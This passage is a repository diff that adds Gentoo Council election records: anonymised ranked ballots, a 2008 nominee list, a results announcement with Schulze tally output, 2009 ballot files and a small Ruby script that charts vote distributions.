+--------- confirmation 900f ---------
+jer leio dev-zero
+ulm ssuominen
+_reopen_nominations
+--------- confirmation 919c ---------
+dev-zero
+_reopen_nominations
+ulm leio ssuominen jer
+--------- confirmation 9430 ---------
+leio dev-zero
+jer ulm ssuominen
+_reopen_nominations
+--------- confirmation 959e ---------
+dev-zero
+ulm jer
+leio
+ssuominen
+_reopen_nominations
+--------- confirmation 95df ---------
+dev-zero
+--------- confirmation 9a31 ---------
+jer
+ssuominen
+ulm
+leio
+_reopen_nominations
+dev-zero
+--------- confirmation 9b73 ---------
+dev-zero
+ssuominen
+leio
+ulm
+jer
+_reopen_nominations
+--------- confirmation 9b95 ---------
+dev-zero
+leio
+ulm
+_reopen_nominations
+jer ssuominen
+--------- confirmation a196 ---------
+dev-zero
+leio
+_reopen_nominations
+--------- confirmation a305 ---------
+dev-zero
+leio
+ssuominen
+_reopen_nominations
+ulm
+jer
+--------- confirmation a3b2 ---------
+dev-zero
+leio
+_reopen_nominations
+jer ssuominen ulm
+--------- confirmation a6ea ---------
+leio
+ssuominen
+ulm
+dev-zero
+jer
+_reopen_nominations
+--------- confirmation abc0 ---------
+_reopen_nominations
+dev-zero jer leio ulm ssuominen
+--------- confirmation b005 ---------
+ssuominen
+jer
+ulm
+leio
+dev-zero
+--------- confirmation b29f ---------
+leio
+_reopen_nominations
+jer ssuominen
+dev-zero ulm
+--------- confirmation b74b ---------
+ssuominen dev-zero
+jer leio ulm
+_reopen_nominations
+--------- confirmation b900 ---------
+jer
+leio ssuominen
+dev-zero
+ulm
+--------- confirmation be2c ---------
+dev-zero
+jer leio ulm ssuominen
+_reopen_nominations
+--------- confirmation be44 ---------
+dev-zero
+jer
+leio
+--------- confirmation bfbe ---------
+leio
+--------- confirmation c2ae ---------
+ulm
+jer
+ssuominen
+leio
+dev-zero
+--------- confirmation c334 ---------
+jer dev-zero
+ulm leio ssuominen
+_reopen_nominations
+--------- confirmation c8ee ---------
+dev-zero
+leio
+_reopen_nominations
+ulm
+jer
+ssuominen
+--------- confirmation cb15 ---------
+dev-zero
+leio
+_reopen_nominations
+ulm
+ssuominen
+jer
+--------- confirmation 020c ---------
+leio
+dev-zero ssuominen
+jer ulm
+_reopen_nominations
+--------- confirmation ccfe ---------
+ulm
+ssuominen
+dev-zero
+leio
+jer
+_reopen_nominations
+--------- confirmation d05f ---------
+dev-zero
+jer
+ulm
+leio
+ssuominen
+_reopen_nominations
+--------- confirmation d0d7 ---------
+dev-zero
+ulm
+_reopen_nominations
+ssuominen leio jer
+--------- confirmation d30a ---------
+dev-zero
+leio
+ulm jer ssuominen
+_reopen_nominations
+--------- confirmation d638 ---------
+ssuominen
+leio dev-zero
+_reopen_nominations
+ulm
+jer
+--------- confirmation d859 ---------
+dev-zero
+ssuominen
+ulm leio jer
+_reopen_nominations
+--------- confirmation d8a7 ---------
+dev-zero
+ulm leio ssuominen jer
+_reopen_nominations
+--------- confirmation d9c1 ---------
+leio
+dev-zero ulm
+_reopen_nominations
+ssuominen
+jer
+--------- confirmation da70 ---------
+ulm
+jer leio dev-zero
+_reopen_nominations
+ssuominen
+--------- confirmation de1e ---------
+ulm jer dev-zero leio
+ssuominen
+_reopen_nominations
+--------- confirmation e127 ---------
+ulm ssuominen dev-zero
+leio jer
+_reopen_nominations
+--------- confirmation 1692 ---------
+jer
+ssuominen
+leio
+ulm dev-zero
+--------- confirmation 1696 ---------
+dev-zero
+ulm leio
+ssuominen jer
+_reopen_nominations
+--------- confirmation e262 ---------
+dev-zero
+leio
+_reopen_nominations
+ssuominen ulm jer
+--------- confirmation e4c6 ---------
+ssuominen dev-zero
+--------- confirmation e6a7 ---------
+leio ssuominen ulm
+jer dev-zero
+_reopen_nominations
+--------- confirmation eb70 ---------
+dev-zero
+_reopen_nominations
+ulm ssuominen leio jer
+--------- confirmation ee1f ---------
+dev-zero leio
+_reopen_nominations
+ulm ssuominen jer
+--------- confirmation eec6 ---------
+ulm
+_reopen_nominations
+jer
+ssuominen
+dev-zero
+leio
+--------- confirmation ef11 ---------
+ulm
+jer
+dev-zero
+ssuominen leio
+_reopen_nominations
+--------- confirmation efdb ---------
+leio
+dev-zero
+jer
+ssuominen ulm
+_reopen_nominations
+--------- confirmation f231 ---------
+dev-zero
+_reopen_nominations
+ssuominen
+ulm
+leio
+jer
+--------- confirmation f31a ---------
+dev-zero
+leio
+ssuominen
+ulm
+jer
+_reopen_nominations
+--------- confirmation f952 ---------
+ssuominen jer dev-zero
+ulm leio
+_reopen_nominations
+--------- confirmation f961 ---------
+dev-zero ssuominen
+_reopen_nominations
+ulm
+jer
+leio
+--------- confirmation fac0 ---------
+dev-zero
+leio
+ssuominen
+_reopen_nominations
+ulm
+jer
+--------- confirmation fb6b ---------
+dev-zero
+ulm
+ssuominen
+jer
+leio
+_reopen_nominations
+--------- confirmation fcc6 ---------
+dev-zero
+_reopen_nominations
+ulm leio ssuominen jer
+--------- confirmation fe6c ---------
+dev-zero
+ulm
+leio
+ssuominen
+jer
+--------- confirmation 1a0d ---------
+dev-zero
+ulm
+ssuominen
+leio jer
+_reopen_nominations
+--------- confirmation 02ac ---------
+leio
+ssuominen
+dev-zero
+ulm jer
+--------- confirmation 02b6 ---------
+ssuominen
+dev-zero
+_reopen_nominations
+leio jer ulm
+--------- confirmation 1b44 ---------
+jer
+ulm
+dev-zero leio ssuominen
+_reopen_nominations
+--------- confirmation 1bd9 ---------
+ulm
+leio dev-zero
+ssuominen
+_reopen_nominations
+jer
+--------- confirmation 1ec2 ---------
+dev-zero
+leio
+_reopen_nominations
+ulm jer ssuominen
+--------- confirmation 0372 ---------
+ssuominen leio
+jer
+_reopen_nominations
+dev-zero ulm
+--------- confirmation 23d1 ---------
+leio
+ulm
+jer
+dev-zero
+ssuominen
+_reopen_nominations
+--------- confirmation 2402 ---------
+dev-zero ssuominen
+_reopen_nominations
+jer ulm leio
+--------- confirmation 240e ---------
+jer
+ssuominen
+leio dev-zero
+_reopen_nominations
+ulm
diff --git a/xml/htdocs/proj/en/elections/council/2008/council-200811-nominees.xml b/xml/htdocs/proj/en/elections/council/2008/council-200811-nominees.xml
new file mode 100644
index 00000000..dfd53b83
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2008/council-200811-nominees.xml
@@ -0,0 +1,47 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/elections/council/2008/council-200811-nominees.xml,v 1.1 2009/07/01 23:56:16 jmbsvicetto Exp $ -->
+<!DOCTYPE election SYSTEM "/dtd/election.dtd">
+<?xml-stylesheet href="/xsl/election.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<election>
+  <title>Gentoo Council 2008/11 Empty Seat Nomination</title>
+
+<author title="Election Official">
+  <mail link="antarus"/>
+</author>
+<author title="Election Official">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Election Official">
+  <mail link="dberkholz"/>
+</author>
+<author title="Infrastructure Contact">
+  <mail link="fox2mike"/>
+</author>
+<author title="Infrastructure Contact">
+  <mail link="robbat2"/>
+</author>
+
+<date>2008-11-28</date>
+<version>8</version>
+
+<nominations from="2008-11-21" to="2008-11-28">
+  <nominee accepted="yes" platform="../council/voting-logs/nominees/2008/dev-zero.txt">dev-zero</nominee>
+  <nominee accepted="yes">jer</nominee>
+  <nominee accepted="yes" platform="../council/voting-logs/nominees/2008/leio.txt">leio</nominee>
+  <nominee accepted="yes">ssuominen</nominee>
+  <nominee accepted="yes">ulm</nominee>
+  
+  <nominee > </nominee>
+  
+  <nominee > </nominee>
+
+  <nominee accepted="no">loki_val</nominee>
+  <nominee accepted="no" devrel="yes">musikc</nominee>
+  <nominee accepted="no">robbat2</nominee>
+  <nominee accepted="no" devrel="yes" trustee="yes">tsunam</nominee>
+  <nominee accepted="no">vapier</nominee>
+  <nominee accepted="no">zmedico</nominee>
+</nominations>
+</election>
diff --git a/xml/htdocs/proj/en/elections/council/2008/council-200811-rank.txt b/xml/htdocs/proj/en/elections/council/2008/council-200811-rank.txt
new file mode 100644
index 00000000..3d08fe45
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2008/council-200811-rank.txt
@@ -0,0 +1,5 @@
+dev-zero
+leio
+ssuominen ulm
+jer
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2008/council-200811-results.txt b/xml/htdocs/proj/en/elections/council/2008/council-200811-results.txt
new file mode 100644
index 00000000..98318656
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2008/council-200811-results.txt
@@ -0,0 +1,156 @@
+Hello fellow devs, users and Gentoo community.
+
+Here are your verified and long-awaited results.
+
+Tiziano Müller (dev-zero) was chosen to join the current Gentoo Council
+for term 2008/2009. Congratulations to Tiziano and good luck.
+
+Full ranked list of candidates:
+
+dev-zero
+leio
+ssuominen ulm
+jer
+_reopen_nominations
+
+The council for the remaining of the term will then be:
+
+Donnie Berkholz (dberkholz)
+Mark Loeser (Halcy0n)
+Petteri Raty (Betelgeuse)
+Luca Barbato (lu_zero)
+Tobias Scherbaum (dertobi123)
+Doug Goldstein (cardoe)
+Tiziano Müller (dev-zero)
+
+
+This mail has the master ballot file attached to it. You were also
+mailed with your ID. You can use the file and the ID to verify that
+your vote was included in the master ballot file. If you didn't get
+your ID or you can't find your vote inside the ballot file, please
+contact election officials (antarus, dberkholz, jmbsvicetto, fox2mike,
+robbat2 (@g.o or #gentoo-elections on freenode)).
+
+The turnout was 42.9%. We received 105 valid votes from 245 voters. This
+election had no invalid votes.
+
+
+---------------------------------------------------------------
+woodpecker ~ # countify --rank council2008b
+_reopen_nominations
+dev-zero
+ssuominen
+
+                     _reop  dev-z    jer   leio  ssuom    ulm
+_reopen_nominations    ***     16     40     19     29     36
+           dev-zero     87    ***     67     59     60     70
+                jer     60     23    ***     29     33     28
+               leio     83     29     50    ***     54     48
+          ssuominen     71     28     42     30    ***     37
+                ulm     64     19     41     30     37    ***
+
+option _reopen_nominations is eliminated (dev-zero trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat
+dev-zero)
+option jer is eliminated (dev-zero trans-defeats jer, and jer does not
+trans-defeat dev-zero)
+option leio is eliminated (dev-zero trans-defeats leio, and leio does
+not trans-defeat dev-zero)
+option ssuominen is eliminated (dev-zero trans-defeats ssuominen, and
+ssuominen does not trans-defeat dev-zero)
+option ulm is eliminated (dev-zero trans-defeats ulm, and ulm does not
+trans-defeat dev-zero)
+the Schwartz set is {dev-zero}
+
+result: option dev-zero wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z    jer   leio  ssuom    ulm
+_reopen_nominations    ***     16     40     19     29     36
+           dev-zero     -1    +++     -1     -1     -1     -1
+                jer     60     23    ***     29     33     28
+               leio     83     29     50    ***     54     48
+          ssuominen     71     28     42     30    ***     37
+                ulm     64     19     41     30     37    ***
+
+option _reopen_nominations is eliminated (jer trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat jer)
+option jer is eliminated (leio trans-defeats jer, and jer does not
+trans-defeat leio)
+option ssuominen is eliminated (leio trans-defeats ssuominen, and
+ssuominen does not trans-defeat leio)
+option ulm is eliminated (leio trans-defeats ulm, and ulm does not
+trans-defeat leio)
+the Schwartz set is {leio}
+
+result: option leio wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z    jer   leio  ssuom    ulm
+_reopen_nominations    ***     16     40     19     29     36
+           dev-zero     -1    +++     -1     -1     -1     -1
+                jer     60     23    ***     29     33     28
+               leio     -1     -1     -1    +++     -1     -1
+          ssuominen     71     28     42     30    ***     37
+                ulm     64     19     41     30     37    ***
+
+option _reopen_nominations is eliminated (jer trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat jer)
+option jer is eliminated (ssuominen trans-defeats jer, and jer does not
+trans-defeat ssuominen)
+the Schwartz set is {ssuominen, ulm}
+
+result: tie between options ssuominen, ulm
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z    jer   leio  ssuom    ulm
+_reopen_nominations    ***     16     40     19     29     36
+           dev-zero     -1    +++     -1     -1     -1     -1
+                jer     60     23    ***     29     33     28
+               leio     -1     -1     -1    +++     -1     -1
+          ssuominen     -1     -1     -1     -1    +++     -1
+                ulm     -1     -1     -1     -1     -1    +++
+
+option _reopen_nominations is eliminated (jer trans-defeats
+_reopen_nominations, and _reopen_nominations does not trans-defeat jer)
+the Schwartz set is {jer}
+
+result: option jer wins
+
+*** Running another pass to find the next winners... ***
+
+                     _reop  dev-z    jer   leio  ssuom    ulm
+_reopen_nominations    ***     16     40     19     29     36
+           dev-zero     -1    +++     -1     -1     -1     -1
+                jer     -1     -1    +++     -1     -1     -1
+               leio     -1     -1     -1    +++     -1     -1
+          ssuominen     -1     -1     -1     -1    +++     -1
+                ulm     -1     -1     -1     -1     -1    +++
+
+the Schwartz set is {_reopen_nominations}
+
+result: option _reopen_nominations wins
+
+*** Finished ranking candidates ***
+
+Final ranked list:
+dev-zero
+leio
+ssuominen ulm
+jer
+_reopen_nominations
+---------------------------------------------------------------
+
+
+Thanks for all the votes and kind regards,
+
+For election officials,
+
+-- 
+Regards,
+
+Jorge Vicetto (jmbsvicetto) - jmbsvicetto at gentoo dot org
+Gentoo- forums / Userrel / Devrel / SPARC / KDE
diff --git a/xml/htdocs/proj/en/elections/council/2009/ballot-council200906.txt b/xml/htdocs/proj/en/elections/council/2009/ballot-council200906.txt
new file mode 100644
index 00000000..64e401db
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/ballot-council200906.txt
@@ -0,0 +1,14 @@
+betelgeuse
+calchan
+dertobi123
+dev-zero
+gentoofan23
+leio
+lu_zero
+patrick
+peper
+scarabeus
+solar
+ssuominen
+ulm
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2009/ballot-council200912.txt b/xml/htdocs/proj/en/elections/council/2009/ballot-council200912.txt
new file mode 100644
index 00000000..04710321
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/ballot-council200912.txt
@@ -0,0 +1,6 @@
+dev-zero
+patrick
+scarabeus
+tanderson
+wired
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2009/council-200906-grapher.rb.txt b/xml/htdocs/proj/en/elections/council/2009/council-200906-grapher.rb.txt
new file mode 100644
index 00000000..2871bd7c
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/council-200906-grapher.rb.txt
@@ -0,0 +1,90 @@
+#!/usr/bin/ruby
+
+ResultsFile  = "council-200906-master.txt"
+RankingsFile = "council-200906-rank.txt"
+ScaleSize    = 14
+HeightScale  = 5
+BarHeight    = 8
+
+# Get all candidate names and initialise their vote count
+candidates = Hash.new
+ballots = Hash.new
+File.open ResultsFile, "r" do | file |
+    file.each_line do | line |
+        next if line =~ /^-/
+        line.split(%r/\s+/).each do | person |
+            candidates[person] = [0] * ScaleSize unless candidates[person]
+        end
+    end
+
+    file.seek(0, IO::SEEK_SET)
+
+    key = false
+    file.each_line do | line |
+        if line =~ %r/^-/
+            key = line.split(/\s+/).grep(/^[a-fA-F0-9]{4}$/)[0]
+            ballots[key] = []
+        else
+            raise "key not set yet" unless key
+            ballots[key].push line.chomp.split(/\s+/)
+        end
+    end
+end
+
+# Add in missing candidates
+ballots.keys.each do | key |
+    append_candidates = candidates.keys.dup
+    ballots[key].flatten.each do | candidate |
+        append_candidates.delete_if do | item |
+            item == candidate
+        end
+    end
+    unless append_candidates.empty?
+        ballots[key].push append_candidates
+    end
+end
+
+# Calculate distributions
+ballots.each_pair do | ballot, results |
+    scale_by = ScaleSize / (0.0 + results.length)
+    results.each_with_index do | result, index |
+        place = (scale_by * index.to_f).to_i
+        raise "out of range" unless (0..ScaleSize - 1).include? place
+        result.each do | candidate |
+            candidates[candidate][place] += 1
+        end
+    end
+end
+
+# Read in rankings
+rankings = []
+File.open RankingsFile, "r" do | file |
+    file.each_line do | line |
+        key = line.split(/\s+/)[0]
+        rankings << key
+    end
+end
+
+
+# Display distributions
+candidates.keys.sort do | a, b |
+    rankings << a unless rankings.index a
+    rankings << b unless rankings.index b
+    (rankings.index a) <=> (rankings.index b)
+end.each do | candidate |
+    puts "  " + candidate + " (" + (rankings.index(candidate) + 1).to_s + ")"
+    BarHeight.downto(0) do | height |
+        print "|"
+        candidates[candidate].each do | value |
+            if value > (height * HeightScale)
+                print "#"
+            else
+                print " "
+            end
+        end
+        puts
+    end
+    puts "+" + ("-" * ScaleSize)
+    puts
+end
+
diff --git a/xml/htdocs/proj/en/elections/council/2009/council-200906-master.txt b/xml/htdocs/proj/en/elections/council/2009/council-200906-master.txt
new file mode 100644
index 00000000..a3ad2509
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/council-200906-master.txt
@@ -0,0 +1,1187 @@
+--------- confirmation 2743 ---------
+betelgeuse calchan
+gentoofan23 patrick dertobi123 scarabeus dev-zero
+lu_zero
+_reopen_nominations
+peper leio ssuominen ulm solar
+--------- confirmation 2854 ---------
+solar
+leio
+scarabeus
+dev-zero
+gentoofan23
+patrick
+calchan
+peper
+lu_zero
+ulm
+dertobi123
+ssuominen
+betelgeuse
+_reopen_nominations
+--------- confirmation 2e50 ---------
+patrick
+solar
+lu_zero ulm leio
+scarabeus ssuominen
+_reopen_nominations
+calchan dertobi123 betelgeuse dev-zero gentoofan23 peper
+--------- confirmation 3133 ---------
+betelgeuse
+calchan dertobi123 ssuominen solar
+lu_zero dev-zero ulm leio peper
+gentoofan23
+patrick
+scarabeus
+--------- confirmation 3303 ---------
+calchan betelgeuse
+ssuominen ulm leio lu_zero
+solar dertobi123
+_reopen_nominations
+peper scarabeus gentoofan23 dev-zero patrick
+--------- confirmation 338c ---------
+ulm dertobi123
+calchan
+leio
+patrick
+solar
+lu_zero
+_reopen_nominations
+ssuominen scarabeus
+betelgeuse dev-zero peper
+gentoofan23
+--------- confirmation 3ac6 ---------
+leio
+gentoofan23
+scarabeus
+calchan
+ssuominen
+patrick
+betelgeuse
+dev-zero
+solar peper lu_zero dertobi123 ulm
+_reopen_nominations
+--------- confirmation 3e1f ---------
+dertobi123
+dev-zero
+ulm
+solar
+betelgeuse
+lu_zero
+scarabeus patrick calchan leio ssuominen gentoofan23 peper
+--------- confirmation 3e2c ---------
+leio betelgeuse calchan solar dertobi123 lu_zero
+ssuominen ulm
+scarabeus patrick
+_reopen_nominations
+dev-zero gentoofan23 peper
+--------- confirmation 3f35 ---------
+leio betelgeuse calchan
+lu_zero solar
+patrick ssuominen gentoofan23
+scarabeus
+peper
+ulm
+dertobi123
+dev-zero
+--------- confirmation 0657 ---------
+dev-zero
+dertobi123 betelgeuse gentoofan23 ulm peper
+calchan scarabeus ssuominen
+_reopen_nominations
+lu_zero leio
+patrick
+solar
+--------- confirmation 460a ---------
+dev-zero
+betelgeuse
+scarabeus
+dertobi123
+calchan
+ulm
+gentoofan23
+lu_zero
+leio
+peper
+ssuominen
+solar
+patrick
+_reopen_nominations
+--------- confirmation 46ec ---------
+ssuominen
+leio gentoofan23 lu_zero betelgeuse
+solar ulm dev-zero scarabeus peper calchan dertobi123
+_reopen_nominations
+patrick
+--------- confirmation 4e08 ---------
+lu_zero dev-zero
+leio ulm
+dertobi123 betelgeuse
+calchan solar ssuominen
+gentoofan23 peper patrick scarabeus
+_reopen_nominations
+--------- confirmation 514d ---------
+ulm
+gentoofan23
+dertobi123
+scarabeus
+betelgeuse
+calchan
+ssuominen leio
+peper
+lu_zero
+_reopen_nominations
+dev-zero
+patrick
+solar
+--------- confirmation 52f9 ---------
+leio
+betelgeuse
+dev-zero
+solar
+ssuominen
+lu_zero
+gentoofan23 ulm scarabeus patrick peper calchan dertobi123
+--------- confirmation 53aa ---------
+dertobi123
+betelgeuse ulm
+solar patrick lu_zero leio
+_reopen_nominations
+peper gentoofan23 ssuominen calchan scarabeus dev-zero
+--------- confirmation 08a7 ---------
+_reopen_nominations
+dev-zero
+betelgeuse
+calchan
+lu_zero
+leio
+solar
+ulm
+gentoofan23
+peper
+patrick
+ssuominen
+dertobi123
+scarabeus
+--------- confirmation 5da6 ---------
+solar lu_zero dev-zero
+dertobi123
+ulm calchan
+leio ssuominen
+patrick
+betelgeuse
+scarabeus
+gentoofan23
+peper
+--------- confirmation 5e53 ---------
+gentoofan23
+ulm
+dev-zero
+betelgeuse
+calchan
+dertobi123
+peper
+_reopen_nominations
+ssuominen lu_zero
+solar
+scarabeus patrick leio
+--------- confirmation 5e9c ---------
+scarabeus
+leio
+gentoofan23
+dev-zero
+dertobi123
+peper
+ssuominen
+betelgeuse
+ulm
+lu_zero
+calchan
+solar
+patrick
+_reopen_nominations
+--------- confirmation 0982 ---------
+scarabeus
+solar
+gentoofan23
+dev-zero
+betelgeuse
+peper
+ssuominen
+ulm
+--------- confirmation 5f24 ---------
+solar
+betelgeuse
+calchan
+patrick
+gentoofan23
+lu_zero
+dev-zero scarabeus
+dertobi123
+peper leio ulm
+ssuominen
+--------- confirmation 6136 ---------
+calchan gentoofan23
+betelgeuse dertobi123 dev-zero leio ulm
+ssuominen scarabeus peper patrick
+solar lu_zero
+--------- confirmation 615d ---------
+patrick
+gentoofan23
+dev-zero
+calchan
+dertobi123
+scarabeus
+solar
+lu_zero
+ulm
+ssuominen
+leio
+betelgeuse
+peper
+_reopen_nominations
+--------- confirmation 638a ---------
+scarabeus
+patrick
+calchan
+gentoofan23
+lu_zero
+dertobi123
+leio
+ssuominen
+ulm
+solar
+peper
+dev-zero
+betelgeuse
+--------- confirmation 646d ---------
+ulm ssuominen scarabeus solar
+_reopen_nominations
+--------- confirmation 6561 ---------
+lu_zero calchan
+dertobi123 leio
+patrick dev-zero
+peper ulm scarabeus ssuominen gentoofan23
+solar betelgeuse
+--------- confirmation 67b3 ---------
+betelgeuse
+dertobi123 dev-zero calchan gentoofan23
+scarabeus leio
+solar lu_zero ulm ssuominen
+patrick peper
+_reopen_nominations
+--------- confirmation 67bc ---------
+calchan
+lu_zero
+patrick
+scarabeus
+ulm dertobi123 ssuominen leio solar
+_reopen_nominations
+betelgeuse
+dev-zero
+gentoofan23
+peper
+--------- confirmation 68e2 ---------
+dev-zero
+ulm lu_zero
+scarabeus
+betelgeuse calchan
+dertobi123 leio
+patrick ssuominen
+_reopen_nominations
+peper
+gentoofan23 solar
+--------- confirmation 6a7e ---------
+dertobi123
+peper leio
+betelgeuse
+dev-zero lu_zero
+solar ssuominen ulm calchan scarabeus gentoofan23 patrick
+--------- confirmation 6f7b ---------
+ssuominen betelgeuse dertobi123 dev-zero lu_zero
+calchan patrick scarabeus
+--------- confirmation 0b3e ---------
+solar
+leio calchan
+betelgeuse
+scarabeus patrick
+ulm dertobi123
+lu_zero
+ssuominen
+gentoofan23
+_reopen_nominations
+dev-zero peper
+--------- confirmation 70b5 ---------
+lu_zero leio ulm solar
+calchan
+patrick
+dertobi123
+ssuominen
+scarabeus
+gentoofan23
+_reopen_nominations
+betelgeuse
+peper
+dev-zero
+--------- confirmation 7122 ---------
+calchan solar ssuominen
+dertobi123 lu_zero
+leio gentoofan23
+ulm
+scarabeus patrick
+_reopen_nominations
+peper betelgeuse dev-zero
+--------- confirmation 760f ---------
+solar
+lu_zero
+ulm scarabeus
+dertobi123
+patrick calchan
+gentoofan23 betelgeuse
+_reopen_nominations
+dev-zero
+peper
+leio ssuominen
+--------- confirmation 7a98 ---------
+gentoofan23 patrick dertobi123 scarabeus ssuominen dev-zero betelgeuse
+ulm
+solar
+leio
+calchan
+peper
+lu_zero
+--------- confirmation 7bba ---------
+solar
+betelgeuse dertobi123 leio
+ssuominen lu_zero
+calchan patrick
+scarabeus dev-zero peper gentoofan23 ulm
+--------- confirmation 7c5b ---------
+calchan
+solar gentoofan23 betelgeuse dev-zero
+dertobi123
+ssuominen lu_zero ulm
+leio
+patrick
+scarabeus
+_reopen_nominations
+peper
+--------- confirmation 7e57 ---------
+solar
+dertobi123
+betelgeuse
+calchan
+patrick
+dev-zero
+lu_zero
+scarabeus
+ulm peper leio gentoofan23 ssuominen
+_reopen_nominations
+--------- confirmation 0caa ---------
+solar gentoofan23
+ulm leio
+dev-zero lu_zero
+betelgeuse calchan
+dertobi123 patrick
+_reopen_nominations
+scarabeus
+peper ssuominen
+--------- confirmation 800a ---------
+solar
+lu_zero
+leio
+betelgeuse
+dev-zero calchan gentoofan23 scarabeus ulm peper ssuominen patrick dertobi123
+_reopen_nominations
+--------- confirmation 8073 ---------
+patrick
+leio
+scarabeus
+solar
+ulm
+dertobi123
+calchan
+_reopen_nominations
+betelgeuse lu_zero
+peper ssuominen gentoofan23
+dev-zero
+--------- confirmation 8281 ---------
+solar lu_zero calchan
+betelgeuse
+peper gentoofan23 patrick ulm dev-zero
+dertobi123 leio
+ssuominen scarabeus
+_reopen_nominations
+--------- confirmation 82ba ---------
+gentoofan23 betelgeuse solar dev-zero
+dertobi123 ssuominen
+calchan ulm leio patrick scarabeus peper lu_zero
+_reopen_nominations
+--------- confirmation 84ab ---------
+dertobi123 dev-zero
+ulm
+betelgeuse
+calchan
+solar
+ssuominen
+_reopen_nominations
+lu_zero
+leio
+gentoofan23
+peper scarabeus patrick
+--------- confirmation 85a6 ---------
+ssuominen leio
+scarabeus
+calchan
+dev-zero
+solar
+ulm
+peper
+patrick
+lu_zero
+gentoofan23
+dertobi123
+betelgeuse
+--------- confirmation 860d ---------
+calchan solar ssuominen dertobi123 gentoofan23 peper betelgeuse ulm lu_zero leio
+dev-zero scarabeus
+patrick
+_reopen_nominations
+--------- confirmation 8623 ---------
+calchan ulm ssuominen betelgeuse dertobi123
+leio patrick scarabeus
+_reopen_nominations
+gentoofan23 dev-zero lu_zero
+peper
+solar
+--------- confirmation 88d3 ---------
+calchan
+gentoofan23 peper
+betelgeuse dev-zero
+ssuominen dertobi123
+scarabeus ulm patrick leio
+lu_zero
+_reopen_nominations
+solar
+--------- confirmation 8b1f ---------
+patrick
+dertobi123
+solar
+calchan
+lu_zero
+betelgeuse
+_reopen_nominations
+ulm
+scarabeus
+ssuominen
+leio
+peper gentoofan23 dev-zero
+--------- confirmation 8b2b ---------
+gentoofan23
+betelgeuse
+dev-zero
+calchan
+dertobi123
+peper
+scarabeus
+_reopen_nominations
+ulm
+lu_zero
+ssuominen
+patrick
+leio
+solar
+--------- confirmation 94b2 ---------
+solar
+betelgeuse leio
+dertobi123
+dev-zero patrick
+ulm scarabeus calchan lu_zero
+gentoofan23
+ssuominen
+peper
+--------- confirmation 9764 ---------
+patrick
+solar
+calchan
+dev-zero
+gentoofan23
+betelgeuse
+lu_zero dertobi123 ssuominen scarabeus peper ulm leio
+_reopen_nominations
+--------- confirmation 97cf ---------
+calchan lu_zero betelgeuse
+dev-zero ulm patrick peper
+ssuominen dertobi123 solar
+leio scarabeus gentoofan23
+_reopen_nominations
+--------- confirmation 9883 ---------
+ulm
+patrick
+lu_zero
+solar
+calchan
+leio
+scarabeus
+ssuominen
+_reopen_nominations
+dertobi123
+betelgeuse
+peper
+dev-zero
+gentoofan23
+--------- confirmation 9998 ---------
+betelgeuse
+ulm
+solar
+calchan
+patrick
+gentoofan23
+scarabeus
+leio
+peper
+dertobi123 dev-zero
+lu_zero ssuominen
+_reopen_nominations
+--------- confirmation 99a8 ---------
+betelgeuse dev-zero
+gentoofan23 calchan dertobi123 peper
+scarabeus
+leio solar lu_zero ssuominen
+ulm
+patrick
+--------- confirmation 9a74 ---------
+lu_zero solar
+patrick ssuominen calchan
+leio scarabeus dertobi123
+betelgeuse ulm
+_reopen_nominations
+--------- confirmation 9fe7 ---------
+solar
+leio lu_zero calchan
+scarabeus ulm ssuominen
+patrick
+dertobi123
+betelgeuse
+dev-zero peper gentoofan23
+_reopen_nominations
+--------- confirmation a250 ---------
+lu_zero dertobi123 solar
+patrick dev-zero ssuominen betelgeuse gentoofan23 scarabeus ulm leio calchan peper
+_reopen_nominations
+--------- confirmation a898 ---------
+lu_zero solar dertobi123
+calchan gentoofan23 ssuominen patrick ulm leio scarabeus betelgeuse peper dev-zero
+--------- confirmation a961 ---------
+leio
+patrick
+ulm
+ssuominen
+lu_zero
+scarabeus
+solar
+betelgeuse
+gentoofan23
+calchan
+dertobi123
+dev-zero
+peper
+_reopen_nominations
+--------- confirmation b0b8 ---------
+ulm dertobi123
+leio calchan
+scarabeus patrick
+_reopen_nominations
+ssuominen
+betelgeuse dev-zero
+lu_zero solar
+gentoofan23 peper
+--------- confirmation b14c ---------
+ulm
+dertobi123
+betelgeuse
+solar
+gentoofan23
+calchan
+_reopen_nominations
+scarabeus
+ssuominen
+leio
+patrick
+lu_zero
+dev-zero peper
+--------- confirmation b17e ---------
+patrick dertobi123
+calchan
+ssuominen
+scarabeus ulm
+lu_zero
+solar
+leio
+peper
+gentoofan23
+betelgeuse
+_reopen_nominations
+dev-zero
+--------- confirmation b31c ---------
+betelgeuse
+leio
+scarabeus
+patrick
+gentoofan23
+--------- confirmation b486 ---------
+lu_zero
+solar
+betelgeuse
+patrick
+calchan
+scarabeus
+gentoofan23
+ssuominen
+leio
+dev-zero
+peper
+dertobi123
+ulm
+_reopen_nominations
+--------- confirmation b9f4 ---------
+calchan lu_zero dertobi123 ulm
+betelgeuse
+gentoofan23
+_reopen_nominations
+leio
+ssuominen
+patrick
+peper solar scarabeus dev-zero
+--------- confirmation bc18 ---------
+solar
+lu_zero
+ssuominen leio
+betelgeuse
+scarabeus dertobi123 ulm gentoofan23 dev-zero calchan peper
+patrick
+--------- confirmation bd0a ---------
+ulm
+dertobi123
+patrick
+lu_zero
+leio
+solar
+ssuominen
+calchan
+betelgeuse
+_reopen_nominations
+gentoofan23
+scarabeus
+dev-zero
+peper
+--------- confirmation bd1d ---------
+calchan
